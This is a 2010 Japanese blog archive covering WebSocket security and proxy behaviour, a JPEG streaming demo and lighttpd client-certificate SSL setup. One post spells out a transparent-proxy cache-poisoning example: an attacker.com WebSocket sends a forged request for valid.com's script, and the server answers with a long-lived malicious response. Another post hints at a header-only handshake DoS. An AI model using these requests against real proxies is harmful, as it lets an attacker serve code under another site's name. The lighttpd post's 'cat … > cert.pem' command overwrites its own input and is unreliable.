2010年12月24日金曜日

移転

何となく、VPS借りてみたので、今後はそちらで。
では〜。

2010年12月21日火曜日

WebSocketがdisableにされた件、その2

先の記事参照

プロトコルレベルでセキュリティ問題となり、disableにされたWebSocket。
そしてその影響は、JavaのAppletやFlashにも波及します。

しかしですね。良く考えたんですが、これってやっぱりproxyが進んで対応しなきゃいけない問題だと思うんです。

まず、@toshirot さんからの情報参照。この問題は、CERTによって報告され、既知の問題であることが分かります。
また、WebSocketを用いたサービスを運営されているpusherappさんでも以下の記事があります。
http://blog.pusherapp.com/2010/12/9/it-s-not-websockets-it-s-your-broken-proxy

さて、既知の問題であるからと言って、WebSocketのプロトコルをそのままにしておくのがよい、とは言いません。しかしながら、これはWeb(HTTPやその周辺プロトコル)の問題だけでは済まないと思うんです。

今や、FireWallやProxyをこえるために、dst:80番ポートを用いて通信する専用クライアントはごまんといます。(例えばネットゲームやSkypeなどのVoIPアプリなど)
また、AndroidやiPhoneにおいてWi-Fi経由でネットワークを利用するアプリケーションもごまんと出てきています。

先の問題の本質は、

透過型プロキシ(transparent proxy)が中継している場合、そのコネクション上で、Hostフィールドを詐称し、HTTPに似せたパケットを送受信すると、透過型プロキシが誤動作を起こす or/and 間違ったORIGINのファイルをキャッシュする、ことがある

です。

とするとですよ。一般的なネットワークアプリケーションでTCP接続し、その上で似たようなことをすれば、まったく同じ影響を受けるわけです。
つまり。


  1. iPhone App Storeとか、Android App Storeから無料アプリケーションをダウンロードした。
  2. 無料アプリケーションが、外部サーバ(80番利用)にTCP接続する。
  3. TCP接続したアプリケーションが、HTTPパケットに似せたパケットを送受信する。


この手順を踏むだけで、今回報告された攻撃が出来るわけです。

ブラウザ(+JS/Flashなど)でお手軽に、と言うわけにはいかないので、少しだけセキュリティリスクが低い、とは言えるものの、まぁ、iPhone AppとかAndroid Appとか、リリース時にここまで踏み込んで審査出来てるとは思えないので、やっぱりセキュリティリスク抱えたtransparent proxyは使わない方がいいよ(Fixされたtransparent proxyは別、ね)、と言う気がしますです。

ではでは。

2010年12月10日金曜日

FirefoxなどでWebSocketがdefault disableに

残念な事に、FireFox4の次のバージョンではWebSocketが利用出来なくなる、と記事が出ましたね。
http://www.0xdeadbeef.com/weblog/2010/12/disabling-websockets-for-firefox-4/
Operaもdisableになるらしい(開発版では有効になっていた)ですがソース不明です。

問題となっているsecurity issueのreportはこちら。
http://www.adambarth.com/experimental/websocket.pdf

覚え書き程度に、どんな問題なのか書いておこうかな、と。

しかし、この問題は特にWebSocketに限った話じゃなくて、Flashなどでも起こるんだ、と言う事を記事にする人は書かなきゃ駄目だと思うんだ。

さてと。問題になっているのは、以下のようなケース。

ユーザAがとあるサイト(attacker.com)を見ちゃった。
attacker.comはWebSocketを利用し、こんなメッセージを送っていた。

var ws = new WebSocket("ws://attacker.com/poison");
ws.send(
    "GET /script.js HTTP/1.1\n" +
    "Host: valid.com\n\n"
);

このメッセージは、attacker.comへと配送されます。(websocketのconnectionが張られているので)

さて、attacker.comのWebSocket Serverは、そのrequestに対して、

ws.send(
    "HTTP 200 OK\n" +
    "Expires: 1年後の日付\n\n" +
    "{SCRIPT本体}"
);

こんな回答をしてあげてる、としましょう。(便宜上、ws.sendで書いてますが、client socketに対してのwriteです)

以上のやりとりは、全てWebSocket Connectionの中での出来事です。特に問題がなさそうに見えます。
Flashでも同じ事が出来ますね。
http://d.hatena.ne.jp/Bayside/20080502/p1

問題になるのは、間に透過型プロキシがある場合。
先ほどのWebSocket Connectionの中でのGET - Responseですが、実はプロキシ側では通常のHTTP Requestと違いが分からないらしい。(不勉強で、本当かどうかは知りません)
すると、プロキシは先ほどのレスポンス、つまりscript.jsを、Host == valid.comのものだとしてcacheしてしまう、と。しかも、無期限で(この例だと1年ですね)。

cacheされちゃうとどうなるか。
もしvalid.comにscript.jsがあった場合(ありそうな例としてあげられているのが、google.comのga.js)、他の誰かがvalid.comを訪れた時にキャッシュヒットしちゃって、attacker.comにあったscript.jsがvalid.comのものとして実行されちゃいますよ、と。

こんな感じに読み取りましたが、間違ってたらご指摘くださいませ。
# ご指摘を受けましたので修正。ちょっと読み飛ばしちゃったところがありまして、もうひとつ例として挙げられています。追記しようかと思ったのですが、時間が無いので、詳細をお知りになりたい方は、原文を読んでいただくか、http://firefoxhacks.at.webry.info/201012/article_3.html とか、https://groups.google.com/group/socketapi-dev/browse_thread/thread/252531b595e071b6 このあたりをご参照ください。中途半端で、ごめんなさい。(^^;

http://www.adambarth.com/experimental/websocket.pdf
では、続いてこうすれば大丈夫だよ、と言う提案もされていらっしゃいますが、これはちょっと個人的に好きになれません。。。どうせ443固定にするんだったら、wss scheme + Server cert使えば良いじゃん、と思いますし。
Transparent proxyがServer cert返しちゃってるようなネット運用してる所は知りませんよ、とか言えるし。

以上、覚え書きまで。

2010年11月11日木曜日

WebSocketとproxy

毎度のWebSocketネタ
proxyが通らないよ!と言うtweetやら何やらが多く出回っていますが、それに関して。

結論から言うと、大抵の場合、通ります。

hybiでの仕様では、SPEC-02位からちゃんと記述がありますが、それ以前もchrome(chromium)では、ちゃんとproxyを考慮した作りになっていました。
パケットの流れとしては、以下の通り

ブラウザ->proxy
CONNECT hoge.com:80 HTTP/1.1
Host: hoge.com
Proxy-Connection: keep-alive

proxy->ブラウザ

HTTP/1.1 200 Connection established

ブラウザ->proxy->WebSocket Server

GET /fuga HTTP/1.1
Upgrade: WebSocket
Connection: Upgrade
Host: hoge.com
Origin: http://hoge.com
Sec-WebSocket-Key1: 4 29 " 43b Q8 9 30 9
Sec-WebSocket-Key2: 3n  110913  6 25y

.?4.Q...

WebSocket Server->proxy->ブラウザ

HTTP/1.1 101 WebSocket Protocol Handshake
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Location: ws://hoge.com/fuga
Sec-WebSocket-Origin: http://hoge.com

....Vz.3L ...r...
ただ、proxyによっては通らないものがあるのも事実です。
initial handshakeのGET methodについているbodyが原因です。(イケてない仕様だと思うのですが…)
見ての通り、initial handshake requestには、bodyに8byteのdata(Sec-WebSocket-Key3相当)が付加されていますが、ヘッダにContent-Length及びTransfer-Encodingは付いていません。
この場合、RFC2616に対して、明らかに不正なパケットとなります。(参照: http://www.studyinghttp.net/header#Content-Length)

また、Upgrade headerについての扱いをどう見るか、ですが、(参照: http://www.studyinghttp.net/header#Upgrade)

initial handshake時のrequest packetにおけるUpgrade headerについては、まだUpgradeされていないと考えるべきだと思っています。
つまり、

GET /fuga HTTP/1.1
Upgrade: WebSocket
は、まだWebSocket ProtocolにUpgradeされておらず、HTTPの仕様に縛られるべきだと思うのです。

その為、Content-Length headerすら付けず、bodyに、8byteのdataを付加するようなpacketは、httpdとしても、proxyとしても扱いに困ります。
(例えば、Upgrade: WebSocketが付いたpacketは絶対にWebSocket Handshakeだ、と仮定したとすると、httpdおよびproxyは、bodyの8byteを読めるまでしばらく待っている必要があります。この場合、、bodyを付加せずheaderだけ投げつければ簡単にDoSが可能となります。例え、httpdおよびproxyがpoll timeoutなどを設けていたとしても)

以上のような理由で、proxy、httpdの設定によっては、handshake packetが捨てられる場合があります。

また、Windows版のブラウザでは、initial handshake requestが2 packetに分割して投げられます。
(Chrome, Safari, FireFox 4βで確認済)

ブラウザ->WebSocket Server

GET /fuga HTTP/1.1
Upgrade: WebSocket
Connection: Upgrade
Host: hoge.com
Origin: http://hoge.com
Sec-WebSocket-Key1: 4 29 " 43b Q8 9 30 9
Sec-WebSocket-Key2: 3n  110913  6 25y

ブラウザ->WebSocket Server
.?4.Q...
まず、ヘッダ部分が送信され、数msおいてbody部分が送信される形です。

この場合は特に、headerにContent-Lengthが付いていないこと、methodがGETであることからproxyやhttpdでは、2 packet目の8byteのdataは、本来どのようなpacketなのか判断が付かないことになります。(捨てるのが普通でしょう)
実際は、proxyに対して、CONNECT、keep-aliveしているので、proxyはpass-throughしてくれて、ちゃんとWebSocket Serverまで届きますが。

と、言うことで、基本的にはproxy透過だよ~っと覚えていてもらえば良いかと思います。
このあたりはSPEC-03以降でちゃんと定義されていると思いますが、現状のご報告まで。

ではでは。

あぁ、追記として。
Safariには、proxy設定とWebSocketの利用に関してBUGが存在します。(一応、レポートは送付しましたが、最近のSafariでは直ってるのかしら?)
企業内のネットワークに参加しているNote PC(持ち運ぶPC)などではよく起こると思うのですが、

  1. そのPCでproxyを利用する設定になっている(自動設定スクリプトなどを含む)
  2. proxyの無い環境に持っていく。(自動設定スクリプトだと、proxyを利用しない状況になる)
  3. WebSocketを利用したsiteへ赴く
  4. ブラウザクラーッシュ
こんなときは、proxy設定を外してあげてください。

2010年11月5日金曜日

WebSocket Jpeg Streaming

以前、井上さん(@makoto_inoue)、遠藤さん(@MiCHiLU)主催の#wsbofに出た際、何となく見せたWebSocket Jpeg Streamingのソースをやっと公開しました。遅くなりすぎて、とってもごめんなさい。

まぁ、時期的に旬を逃したのですが、もうすぐSPEC-03が出るのと、丁度hybiでchunk/streamingに関するメールが飛んでいるので、そのあたりを少し。

WebSocketを利用されたことがある方ならご存じの通り、今現在、WebSocketで利用できるフレームフォーマットは、0x00と0xffで囲まれた、UTF-8のSTRINGだけです。

さて、WebSocketを利用して皆さん何を送受信したいと思うでしょうか?
うん、大抵の場合、JSONですよね。(XML…聞かなかったことにします)

例えば、こんなメッセージを送りたいとしましょう。
{"data": "Hello WebSocket!"}

この場合、現在のSPEC-76に準拠した各種WebSocketのServer側実装は、ほぼ全てが以下のようにフレームを構成してメッセージを送信しています。
0x00, '{"data": "Hello WebSocket!"}', 0xff

すると、そのメッセージを受けたブラウザでは、0x00, 0xffをはぎ取り、websocket.onmessage functionへのevent messageでは、'{"data": "Hello WebSocket!"}'だけを受け取ることが可能です。

つまり、javascript codeとしては、
var ws = new WebSocket("ws://hoge.com/fuga");
ws.onmessage = function(msg) {
    var obj = JSON.parse(msg.data);
}
とすることによって、obj.data == "Hello WebSocket!"を得られるということになります。

さて、ここで長い長いデータを送信したい、と思った場合、どうなるでしょうか?
0x00, '{"data": "1Mbytes data"}', 0xff

こういった場合、ブラウザは0xffが出現するまで、いつ終わるともわからないSTRINGをずっと保持しておかなくてはいけなくなります。(もしかすると0xffは永遠に来ないかもしれません)
Server側はもう少し楽できるのですが、今現在公開されているwebsocket modの殆どは、client側と同様に全てのデータフレームを構築してから送信しているように見受けられます。(違ってたらごめんなさい)

それを避けるためには通常、長い長いデータを適当なサイズで区切って送受信する事になります。
ここでは簡単にするために、サーバ側から'Hello WebSocket!'を区切って送信してみましょう。
0x00, '{"data": "Hel', 0xff
0x00, 'lo WebSocket!"}', 0xff
さて、この場合、clientであるjavascript側はちょっと困ったことになりますよね。
ws.onmessage = function(msg) {
    var obj = JSON.parse(msg.data); // exception
}

当たり前ですが、callbackで受け取ったmessageはJSON stringではないので、Exceptionが発生します。
これをどうにかしないといけないよね、と言う問題点が指摘され、フレームフォーマット再編の一因になった、と記憶しています。
さて、ここまでを覚えておいていただいて。WebSocket Jpeg Streamingの説明に入ります。

サーバ側
http://d.hatena.ne.jp/os0x/20100724/1280003367

ここで発表した通りなのですが、
https://docs.google.com/present/view?id=dfn9bp3w_06bh6spg8

のスライド14番、15番目を参照ください。
送りつけているJSON Stringは、
'{"fps": daemonで取得したfps, "image": "base64 encoded jpeg image"}'
となっており、上記のJSON Stringがブラウザには、
0x00, '{"fps": daemonで取得したfps, "im', 0xff
0x00'age": "base64 encoded jpeg image"}'0xff
などのように、chunkとして送付されてきます。

(誤解があるといけないので記述しておきますが、jpeg_streamer.cではchunkにしていません。mod_websocket for lighty側で勝手にchunkにされます…と言うか、しています。)

クライアント側
構成は、以下のようになっています。













肝は、websocket_chunk.js。

先程記述したように、
0x00, '{"data": "Hel', 0xff
0x00, 'lo WebSocket!"}', 0xff

のように送信されたメッセージは、WebSocket onmessage callback function内で単純にJSON.parseはできません。
その為、websocket_chunk.jsでは、JSON stringとして正しいメッセージを受けるまで、bufferingしています。(適当に作ったので、JSON stringだけです={}の数を数えてるだけです。arrayはご勘弁)
websocket_chunk.jsの中で、JSON stringとして正しいと判断した場合、JSON.parseをし、JSON objとして指定されたfunctionにそのJSON objを引数としてcallbackをかけます。
また、今回のデモのようなstreamingの場合、chunkとして送信されてくるdataでは常にws.onmessage callbackが発生します。
その場合、websocket_chunk.jsをmain thread(上の例で行くと、player.jsの中)で実行すると、main threadにcontext switchが引っ切り無しに起こる…と、思います。(ブラウザの実装を詳しく知らないので予想ですけど)
というわけで、その部分をworkerに叩きこんでます。(なお、現在は、chrome/chromiumおよびsafariでしか、WebSocket in Workerが動きません。ですので、Firefox4βなどで動作させたい方は、websocket_chunkをmain threadで動作させるよう変更していただけば、動作します)

最後に、worker内で、適当な数のJSON objをbuffering、JSON objのarrayとしてmain threadへpostMessage、と。
こんな流れになっています。

SPEC-03を用いれば解決するのかもしれませんが、それでもJavaScriptとbackend Server間でメッセージフォーマットを規定する必要はどうしても出てきます。その際の助けになれば、幸いです。

ソースコード一式は、https://github.com/nori0428/websocket_streamingから取得可能ですので、MBPやAirをお持ちの方、Linux+USB Camなどの環境をお持ちの方で、試してみようかなと思われる奇特な方はお試しください。
なお、これはテストとか全くしてませんので、悪しからず。

ではでは。

2010年3月2日火曜日

lighttpdのHTTPS通信において、サーバ認証、クライアント認証を行う方法

lighttpdを用いて、サーバ認証、クライアント認証を行う為の設定

http://park15.wakwak.com/~unixlife/practical/openssl.html

基 本的には、ここで紹介されている手順を踏みます。

  1. まず、認証局の立ち上げ。これは上述のサイトの通り構築 してください。
  2. 次に、認証局で署名してもらったサーバ証明書の作成です。
    これも、上述のサイトの通り作成してください。

    ただし、サーバ証明書とサーバの秘密鍵を設定ファイルで指定できるApacheと違い、lighttpdでは、サーバ証明書に自身のプライベートキーを追 加しておく必要があります。
    これは、
    http://redmine.lighttpd.net/projects/lighttpd/wiki/Docs:SSL
    ここに記述があります。

      If you have a .crt and a .key file, cat them together into a
      single PEM file (the order isn't strictly important):
      $ cat host.key host.crt > host.pem


    これに従い、下記の様にコマンドを打ち込みます。

    $ cat srvernopass.key cert.pem > cert.pem

    これを、lighttpd.conf中のssl.pemfileセクションで指定してあげてください。尚、このファイルに秘密鍵が書いてあるからと言って セキュリティレベルが落ちるものではありませんのでご安心を。(cert.pemを配置するディレクトリのパーミッション設定だけは気をつけてください ね)

    ここまでで、自己認証局でサインしたサーバ証明書(俗に言われるオレオレ証明書)を用いたSSL通信が可能となります。(httpsでの通信が可能となり ます)
  3. さて、最後です。
    これまた、pkcs12形式のクライアント証明書の作成までは上述のサイトの通りです。しかし、やはりlighttpdではちょっと設定が違います。

    変更点は以下。

    ssl.verifyclient.activate   = "enable"
    ssl.verifyclient.enforce    = "enable"
    ssl.ca-file                    = "/path_to/CA/cacert.pem"
    ssl.verifyclient.depth      = 2
    ssl.verifyclient.username  = "SSL_CLIENT_S_DN_CN"

    これの意味するところは、ちょっと古いですがここを見るとよいでしょう。
    http://skyline.bosconet.org/pjohnson/blog/?p=457

    あと、ここも。
    http://redmine.lighttpd.net/issues/19

    よく調べて無いので、分かる点だけ。

    ssl.verifyclient.activate   = "enable"
    ssl.ca-file                 = "/path_to/CA/cacert.pem"
    ssl.verifyclient.username   = "SSL_CLIENT_S_DN_CN"
    この3つがキーだと思ってまして。
    1. まず、クライアント認証をするかどうか
    2. そして、認証局が署名した証明書リスト へのパス
    3. 最後に、クライアント証明書のどのフィー ルドで認証するか。
      ということだと思います。(詳細はどなたかお願いします。。。)
      全体像はこんな感じ。

      $SERVER["socket"] == ":443" {
          ssl.engine                = "enable"
          ssl.pemfile               = "/path_to/Server/server.pem"
          ssl.ca-file               = "/path_to/CA/cacert.pem"
          ssl.verifyclient.activate = "enable"
          ssl.verifyclient.enforce  = "enable"
          ssl.verifyclient.depth    = 2
          ssl.verifyclient.username = "SSL_CLIENT_S_DN_CN"
          server.document-root      = "/var/wwws/"
      }


以上をlighttpd.confに追加したのち、先に紹介させていただいたサイト、
http://park15.wakwak.com/~unixlife/practical/openssl.html

ここで作成した、pkcs12形式のクライアント証明書をchromeに導入すると、クライアント認証を伴うSSL通信が可能となり、クライアント証明書を 持ったPCからだけ、httpsアクセスが可能となります。

なお、Chromeへの証明書のインポート方法はこちら をご参照ください。
http://www.certvision.net/set_c_crt/chrome.html

以上が、lighttpdでのSSL Client Authの方法です。

WebSocketのSecurityについて

私の理解があまりにもひどいな、と思い直しましたので、Security周りは頭を冷やして考え直し、もう一度纏め直します。(^^;